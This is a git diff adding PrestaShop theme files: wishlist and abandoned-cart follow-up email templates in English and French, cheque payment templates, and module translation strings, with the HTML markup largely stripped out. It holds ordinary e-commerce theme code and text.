        + + \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/en/wishlist.txt b/themes/default/modules/blockwishlist/mails/en/wishlist.txt new file mode 100755 index 0000000..bcfb620 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/en/wishlist.txt @@ -0,0 +1,8 @@ +Hi, + +{firstname} {lastname} indicated you may want to see his/her wishlist {wishlist} : +{message} + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/fr/wishlink.html b/themes/default/modules/blockwishlist/mails/fr/wishlink.html new file mode 100755 index 0000000..8eb33c8 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/fr/wishlink.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Message de {shop_name}
         
        {shop_name} vous invite à envoyer ce lien à vos amis qui pourront alors consulter votre liste de cadeaux {wishlist} :

        {message}
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/fr/wishlink.txt b/themes/default/modules/blockwishlist/mails/fr/wishlink.txt new file mode 100755 index 0000000..b927b76 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/fr/wishlink.txt @@ -0,0 +1,7 @@ +Bonjour, + +{shop_name} vous invite à envoyer ce lien à vos amis qui pourront alors consulter votre liste de cadeaux {wishlist} : + +{message} + +{shop_url} réalisé avec PrestaShopâ„¢ diff --git a/themes/default/modules/blockwishlist/mails/fr/wishlist.html b/themes/default/modules/blockwishlist/mails/fr/wishlist.html new file mode 100755 index 0000000..f90ff1d --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/fr/wishlist.html @@ -0,0 +1,40 @@ + + + + + Message d'un client de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Message de {shop_name}
         
        {firstname} {lastname} vous invite à visiter sa liste de cadeaux {wishlist} :

        {wishlist}
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/fr/wishlist.txt b/themes/default/modules/blockwishlist/mails/fr/wishlist.txt new file mode 100755 index 0000000..aad6653 --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/fr/wishlist.txt @@ -0,0 +1,8 @@ +Bonjour, + +{firstname} {lastname} vous invite à visiter sa liste de cadeaux {wishlist} : +{message} + + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/blockwishlist/mails/index.php b/themes/default/modules/blockwishlist/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/blockwishlist/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/boixmenugarancia/translations/en.php b/themes/default/modules/boixmenugarancia/translations/en.php new file mode 100755 index 0000000..56dc9d9 --- /dev/null +++ b/themes/default/modules/boixmenugarancia/translations/en.php @@ -0,0 +1,6 @@ +boixmenugarancia_8de6051eb2a54a4ad652403321bc965d'] = 'Our ranges and products'; +$_MODULE['<{boixmenugarancia}default>boixmenugarancia_d8b2b456c573163aae305980a922b2a1'] = 'Your needs'; diff --git a/themes/default/modules/boixmenugarancia/translations/fr.php b/themes/default/modules/boixmenugarancia/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/boixmenugaranciaimage/translations/en.php b/themes/default/modules/boixmenugaranciaimage/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/boixmenugaranciaimage/translations/fr.php b/themes/default/modules/boixmenugaranciaimage/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/cheque/payment.tpl b/themes/default/modules/cheque/payment.tpl new file mode 100755 index 0000000..1a67076 --- /dev/null +++ b/themes/default/modules/cheque/payment.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $cookie->id_customer == 7071} + +{/if} \ No newline at end of file diff --git a/themes/default/modules/cheque/payment_execution.tpl b/themes/default/modules/cheque/payment_execution.tpl new file mode 100755 index 0000000..7547b81 --- /dev/null +++ b/themes/default/modules/cheque/payment_execution.tpl @@ -0,0 +1,78 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {capture name=path}{l s='Paiement par chèque' mod='cheque'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Paiement par chèque' mod='cheque'}]

        + {assign var="current_step" value="payment"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        +{if isset($nbProducts) && $nbProducts <= 0} +

        {l s='Your shopping cart is empty.'}

        +{else} + + +{/if} +
        +
        diff --git a/themes/default/modules/cheque/payment_return.tpl b/themes/default/modules/cheque/payment_return.tpl new file mode 100755 index 0000000..4434bec --- /dev/null +++ b/themes/default/modules/cheque/payment_return.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $status == 'ok'} +

        {l s='Your order on %s is complete.' sprintf=$shop_name mod='cheque'} +

        + {l s='Your check must include:' mod='cheque'} +

        - {l s='Payment ammount.' mod='cheque'} {$total_to_pay} +

        - {l s='Payable to the order of' mod='cheque'} {if $chequeName}{$chequeName}{else}___________{/if} +

        - {l s='Mail to' mod='cheque'} {if $chequeAddress}{$chequeAddress}{else}___________{/if} + {if !isset($reference)} +

        - {l s='Do not forget to insert your order number #%d.' sprintf=$id_order mod='cheque'} + {else} +

        - {l s='Do not forget to insert your order reference %s.' sprintf=$reference mod='cheque'} + {/if} +

        +{else} +

        + {l s='We have noticed that there is a problem with your order. If you think this is an error, you can contact our' mod='cheque'} + {l s='customer service department.' mod='cheque'}. +

        +{/if} diff --git a/themes/default/modules/cheque/translations/en.php b/themes/default/modules/cheque/translations/en.php new file mode 100755 index 0000000..4fc296b --- /dev/null +++ b/themes/default/modules/cheque/translations/en.php @@ -0,0 +1,18 @@ +cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Payment by check'; +$_MODULE['<{cheque}default>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'This payment method is not available.'; +$_MODULE['<{cheque}default>payment_execution_8520b283b0884394b13b80d5689628b3'] = 'Check payment'; +$_MODULE['<{cheque}default>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Order summary'; +$_MODULE['<{cheque}default>payment_execution_879f6b8877752685a966564d072f498f'] = 'Your shopping cart is empty.'; +$_MODULE['<{cheque}default>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Here is a short summary of your order:'; +$_MODULE['<{cheque}default>payment_execution_3b3b41f131194e747489ef93e778ed0d'] = 'he total amount of your order comes to:'; +$_MODULE['<{cheque}default>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{cheque}default>payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Please confirm your order by clicking \'I confirm my order\''; +$_MODULE['<{cheque}default>payment_execution_46b9e3665f187c739c55983f757ccda0'] = 'I confirm my order'; +$_MODULE['<{cheque}default>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Other payment methods'; +$_MODULE['<{cheque}default>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'Do not forget to include your order number #%d.'; +$_MODULE['<{cheque}default>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'Do not forget to include your order reference %s.'; +$_MODULE['<{cheque}default>payment_841728ede901f5134574c4656aba5464'] = 'Pay by check (order processing will take more time)'; diff --git a/themes/default/modules/cheque/translations/fr.php b/themes/default/modules/cheque/translations/fr.php new file mode 100755 index 0000000..4f58f80 --- /dev/null +++ b/themes/default/modules/cheque/translations/fr.php @@ -0,0 +1,49 @@ +cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Chèque'; +$_MODULE['<{cheque}default>cheque_14e41f4cfd99b10766cc15676d8cda66'] = 'Ce module vous permet d\'accepter des paiements par chèque.'; +$_MODULE['<{cheque}default>cheque_e09484ba6c16bc20236b63cc0d87ee95'] = 'Êtes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{cheque}default>cheque_10afbbb4dcb65d825785d196ffb294dd'] = 'L\'ordre du chèque et l\'adresse doivent être renseignés.'; +$_MODULE['<{cheque}default>cheque_e2d93539acef2afbbadf8542351fb2b4'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{cheque}default>cheque_94ce8bec7334b16916823f53ebe936d7'] = 'L\'ordre du chèque est requis.'; +$_MODULE['<{cheque}default>cheque_4b5e20a521d31cc44b9690bd35eaacfc'] = 'L\'adresse est requise.'; +$_MODULE['<{cheque}default>cheque_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{cheque}default>cheque_aa646de3f8d345490b22b72d4a505dcd'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{cheque}default>cheque_8c88bbf5712292b26e2a6bbeb0a7b5c4'] = 'Par conséquent, vous devez valider manuellement la commande dès réception du chèque.'; +$_MODULE['<{cheque}default>cheque_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{cheque}default>cheque_119100c9e7b17d9cfe7b1d6c64259a04'] = 'Veuillez préciser l\'ordre du chèque et l\'adresse pour vos clients'; +$_MODULE['<{cheque}default>cheque_75475839e69bef6ed57a8200a5a71d37'] = 'A l\'ordre de'; +$_MODULE['<{cheque}default>cheque_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{cheque}default>cheque_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{cheque}default>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{cheque}default>payment_execution_8520b283b0884394b13b80d5689628b3'] = 'Paiement par chèque'; +$_MODULE['<{cheque}default>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{cheque}default>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{cheque}default>payment_execution_060bf2d587991d8f090a1309b285291c'] = 'chèque'; +$_MODULE['<{cheque}default>payment_execution_76ca011e4772bfcce26aecd42c598510'] = 'Vous avez choisi de régler par chèque.'; +$_MODULE['<{cheque}default>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{cheque}default>payment_execution_3b3b41f131194e747489ef93e778ed0d'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{cheque}default>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{cheque}default>payment_execution_7b1c6e78d93817f61f2b1bbc2108a803'] = 'Nous acceptons plusieurs devises pour les chèques.'; +$_MODULE['<{cheque}default>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Veuillez choisir parmi les suivantes :'; +$_MODULE['<{cheque}default>payment_execution_f73ad0f08052884ff465749bf48b55ce'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{cheque}default>payment_execution_7135ff14c7931e1c8e9d33aff3dfc7f7'] = 'L\'ordre et l\'adresse du chèque seront affichés sur la page suivante.'; +$_MODULE['<{cheque}default>payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{cheque}default>payment_execution_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{cheque}default>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{cheque}default>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{cheque}default>payment_return_61da27a5dd1f8ced46c77b0feaa9e159'] = 'Veuillez nous envoyer un chèque avec :'; +$_MODULE['<{cheque}default>payment_return_543baa3e0ca83589be12aff8036b5fe6'] = 'un montant de'; +$_MODULE['<{cheque}default>payment_return_9b8f932b1412d130ece5045ecafd1b42'] = 'payable à l\'ordre de'; +$_MODULE['<{cheque}default>payment_return_9a94f1d749a3de5d299674d6c685e416'] = 'à envoyer à'; +$_MODULE['<{cheque}default>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d.'; +$_MODULE['<{cheque}default>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s.'; +$_MODULE['<{cheque}default>payment_return_610abe74e72f00210e3dcb91a0a3f717'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{cheque}default>payment_return_ffd2478830ca2f519f7fe7ee259d4b96'] = 'Votre commande vous sera envoyée dès réception du paiement.'; +$_MODULE['<{cheque}default>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{cheque}default>payment_return_decce112a9e64363c997b04aa71b7cb8'] = 'support client'; +$_MODULE['<{cheque}default>payment_return_9bdf695c5a30784327137011da6ef568'] = 'Nous avons rencontré un problème avec votre commande, veuillez contacter notre support client'; +$_MODULE['<{cheque}default>payment_f05fd8637f8a6281466a507fcb56baec'] = 'Payer par chèque'; +$_MODULE['<{cheque}default>payment_841728ede901f5134574c4656aba5464'] = 'Payer par chèque (traitement plus long)'; diff --git a/themes/default/modules/cheque2/translations/fr.php b/themes/default/modules/cheque2/translations/fr.php new file mode 100755 index 0000000..abf53b5 --- /dev/null +++ b/themes/default/modules/cheque2/translations/fr.php @@ -0,0 +1,49 @@ +cheque_7b4cc4f79be9aae43efd53b4ae5cba4d'] = 'Chèque'; +$_MODULE['<{cheque}default>cheque_14e41f4cfd99b10766cc15676d8cda66'] = 'Ce module vous permet d\'accepter des paiements par chèque.'; +$_MODULE['<{cheque}default>cheque_e09484ba6c16bc20236b63cc0d87ee95'] = 'Êtes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{cheque}default>cheque_10afbbb4dcb65d825785d196ffb294dd'] = 'L\'ordre du chèque et l\'adresse doivent être renseignés.'; +$_MODULE['<{cheque}default>cheque_e2d93539acef2afbbadf8542351fb2b4'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{cheque}default>cheque_94ce8bec7334b16916823f53ebe936d7'] = 'L\'ordre du chèque est requis.'; +$_MODULE['<{cheque}default>cheque_4b5e20a521d31cc44b9690bd35eaacfc'] = 'L\'adresse est requise.'; +$_MODULE['<{cheque}default>cheque_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{cheque}default>cheque_aa646de3f8d345490b22b72d4a505dcd'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{cheque}default>cheque_8c88bbf5712292b26e2a6bbeb0a7b5c4'] = 'Par conséquent, vous devez valider manuellement la commande dès réception du chèque.'; +$_MODULE['<{cheque}default>cheque_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{cheque}default>cheque_119100c9e7b17d9cfe7b1d6c64259a04'] = 'Veuillez préciser l\'ordre du chèque et l\'adresse pour vos clients'; +$_MODULE['<{cheque}default>cheque_75475839e69bef6ed57a8200a5a71d37'] = 'A l\'ordre de'; +$_MODULE['<{cheque}default>cheque_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{cheque}default>cheque_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{cheque}default>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{cheque}default>payment_execution_8520b283b0884394b13b80d5689628b3'] = 'Paiement par chèque'; +$_MODULE['<{cheque}default>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{cheque}default>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{cheque}default>payment_execution_060bf2d587991d8f090a1309b285291c'] = 'chèque'; +$_MODULE['<{cheque}default>payment_execution_76ca011e4772bfcce26aecd42c598510'] = 'Vous avez choisi de régler par chèque.'; +$_MODULE['<{cheque}default>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{cheque}default>payment_execution_3b3b41f131194e747489ef93e778ed0d'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{cheque}default>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{cheque}default>payment_execution_7b1c6e78d93817f61f2b1bbc2108a803'] = 'Nous acceptons plusieurs devises pour les chèques.'; +$_MODULE['<{cheque}default>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Veuillez choisir parmi les suivantes :'; +$_MODULE['<{cheque}default>payment_execution_f73ad0f08052884ff465749bf48b55ce'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{cheque}default>payment_execution_7135ff14c7931e1c8e9d33aff3dfc7f7'] = 'L\'ordre et l\'adresse du chèque seront affichés sur la page suivante.'; +$_MODULE['<{cheque}default>payment_execution_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{cheque}default>payment_execution_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{cheque}default>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{cheque}default>payment_f05fd8637f8a6281466a507fcb56baec'] = 'Payer par chèque'; +$_MODULE['<{cheque}default>payment_841728ede901f5134574c4656aba5464'] = 'Payer par chèque (traitement plus long)'; +$_MODULE['<{cheque}default>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{cheque}default>payment_return_61da27a5dd1f8ced46c77b0feaa9e159'] = 'Veuillez nous envoyer un chèque avec :'; +$_MODULE['<{cheque}default>payment_return_543baa3e0ca83589be12aff8036b5fe6'] = 'un montant de'; +$_MODULE['<{cheque}default>payment_return_9b8f932b1412d130ece5045ecafd1b42'] = 'payable à l\'ordre de'; +$_MODULE['<{cheque}default>payment_return_9a94f1d749a3de5d299674d6c685e416'] = 'à envoyer à'; +$_MODULE['<{cheque}default>payment_return_e1c54fdba2544646684f41ace03b5fda'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d.'; +$_MODULE['<{cheque}default>payment_return_4761b03b53bc2b3bd948bb7443a26f31'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s.'; +$_MODULE['<{cheque}default>payment_return_610abe74e72f00210e3dcb91a0a3f717'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{cheque}default>payment_return_ffd2478830ca2f519f7fe7ee259d4b96'] = 'Votre commande vous sera envoyée dès réception du paiement.'; +$_MODULE['<{cheque}default>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{cheque}default>payment_return_decce112a9e64363c997b04aa71b7cb8'] = 'support client'; +$_MODULE['<{cheque}default>payment_return_9bdf695c5a30784327137011da6ef568'] = 'Nous avons rencontré un problème avec votre commande, veuillez contacter notre support client'; diff --git a/themes/default/modules/devspeblockcategories/translations/en.php b/themes/default/modules/devspeblockcategories/translations/en.php new file mode 100755 index 0000000..468fa0c --- /dev/null +++ b/themes/default/modules/devspeblockcategories/translations/en.php @@ -0,0 +1,6 @@ +devspeblockcategories_8de6051eb2a54a4ad652403321bc965d'] = 'Our range and products'; +$_MODULE['<{devspeblockcategories}default>devspeblockcategories_d8b2b456c573163aae305980a922b2a1'] = 'Your needs'; diff --git a/themes/default/modules/devspeblockcategories/translations/fr.php b/themes/default/modules/devspeblockcategories/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspediagnostic/translations/en.php b/themes/default/modules/devspediagnostic/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspediagnostic/translations/fr.php b/themes/default/modules/devspediagnostic/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspefaq/translations/en.php b/themes/default/modules/devspefaq/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspefaq/translations/fr.php b/themes/default/modules/devspefaq/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspefiltreproduit/translations/en.php b/themes/default/modules/devspefiltreproduit/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspefiltreproduit/translations/fr.php b/themes/default/modules/devspefiltreproduit/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspehomeblocks/translations/en.php b/themes/default/modules/devspehomeblocks/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspehomeblocks/translations/fr.php b/themes/default/modules/devspehomeblocks/translations/fr.php new file mode 100755 index 0000000..893a924 --- /dev/null +++ b/themes/default/modules/devspehomeblocks/translations/fr.php @@ -0,0 +1,5 @@ +devspehomeblocks_06d22a6f2d8cfed88f6f2bc9ff74be1f'] = 'Utter the magic word'; diff --git a/themes/default/modules/devspelivredor/translations/en.php b/themes/default/modules/devspelivredor/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspelivredor/translations/fr.php b/themes/default/modules/devspelivredor/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspeoffrefidelitevideo/translations/en.php b/themes/default/modules/devspeoffrefidelitevideo/translations/en.php new file mode 100755 index 0000000..f0778cb --- /dev/null +++ b/themes/default/modules/devspeoffrefidelitevideo/translations/en.php @@ -0,0 +1,5 @@ +devspepresse_06d22a6f2d8cfed88f6f2bc9ff74be1f'] = 'Say the magic word'; diff --git a/themes/default/modules/devspeoffrefidelitevideo/translations/fr.php b/themes/default/modules/devspeoffrefidelitevideo/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspephilosophie/translations/en.php b/themes/default/modules/devspephilosophie/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspephilosophie/translations/fr.php b/themes/default/modules/devspephilosophie/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/devspepresse/translations/en.php b/themes/default/modules/devspepresse/translations/en.php new file mode 100755 index 0000000..a0172cd --- /dev/null +++ b/themes/default/modules/devspepresse/translations/en.php @@ -0,0 +1,5 @@ +devspepresse_06d22a6f2d8cfed88f6f2bc9ff74be1f'] = 'Say the magic word!'; diff --git a/themes/default/modules/devspepresse/translations/fr.php b/themes/default/modules/devspepresse/translations/fr.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/extratranslations/translations/fr.php b/themes/default/modules/extratranslations/translations/fr.php new file mode 100755 index 0000000..88e8ee9 --- /dev/null +++ b/themes/default/modules/extratranslations/translations/fr.php @@ -0,0 +1,5 @@ +extratranslations_9137796c15dd92e5553c3f29574d0968'] = 'Code bon réduction'; diff --git a/themes/default/modules/favoriteproducts/translations/en.php b/themes/default/modules/favoriteproducts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/favoriteproducts/translations/fr.php b/themes/default/modules/favoriteproducts/translations/fr.php new file mode 100755 index 0000000..1eee524 --- /dev/null +++ b/themes/default/modules/favoriteproducts/translations/fr.php @@ -0,0 +1,13 @@ +favoriteproducts_c249aeb21294d5e97598462b550e73eb'] = 'Produits favoris'; +$_MODULE['<{favoriteproducts}default>favoriteproducts_018770f4456d82ec755cd9d0180e4cce'] = 'Affiche une page avec les produits favoris de l\'utilisateur'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-account_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-account_e5090b68524b1bbfd7983bfa9500b7c9'] = 'Mes produits favoris'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-account_44fd621c6504b8a5346946650682a842'] = 'Vous ne possédez pas de produit favoris pour le moment.'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-account_6f16227b3e634872e87b0501948310b6'] = 'Retour à votre compte'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-extra_8128d66be9351da562f9b01f591e00cd'] = 'Ajouter ce produit à mes favoris'; +$_MODULE['<{favoriteproducts}default>favoriteproducts-extra_b895a379bd5ea51680ead24ee13a1bb7'] = 'Retirer ce produit de mes favoris'; +$_MODULE['<{favoriteproducts}default>my-account_e5090b68524b1bbfd7983bfa9500b7c9'] = 'Mes produits favoris'; diff --git a/themes/default/modules/feeder/translations/en.php b/themes/default/modules/feeder/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/feeder/translations/fr.php b/themes/default/modules/feeder/translations/fr.php new file mode 100755 index 0000000..8ef7821 --- /dev/null +++ b/themes/default/modules/feeder/translations/fr.php @@ -0,0 +1,6 @@ +feeder_d97c951c07d785b317ffb55c01bf6976'] = 'Flux RSS des produits'; +$_MODULE['<{feeder}default>feeder_b118eb1df6ece770ad9d2bbe97cc1a79'] = 'Générer un flux RSS des produits'; diff --git a/themes/default/modules/followup/mails/en/followup_1.html b/themes/default/modules/followup/mails/en/followup_1.html new file mode 100755 index 0000000..e136138 --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_1.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {firstname} {lastname},
         
        Your cart at {shop_name}
         
        We noticed that during your last visit on {shop_name}, you did not complete the order you had started.

        Your cart has been saved, you can resume your order by visiting our shop:

        {shop_url}

        As an incentive, we can give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment!
         
        Here is your coupon: {voucher_num}

        Enter this code in your shopping cart to get your discount.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_1.txt b/themes/default/modules/followup/mails/en/followup_1.txt new file mode 100755 index 0000000..89edf2b --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_1.txt @@ -0,0 +1,13 @@ +Hello {firstname} {lastname}, + +We noticed that during your last visit on {shop_name}, you did not complete the order you had started. + +Your cart has been saved, you can resume your order by visiting our shop: + +{shop_url} + +As an incentive, we can give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/themes/default/modules/followup/mails/en/followup_2.html b/themes/default/modules/followup/mails/en/followup_2.html new file mode 100755 index 0000000..00c234d --- /dev/null +++ b/themes/default/modules/followup/mails/en/followup_2.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
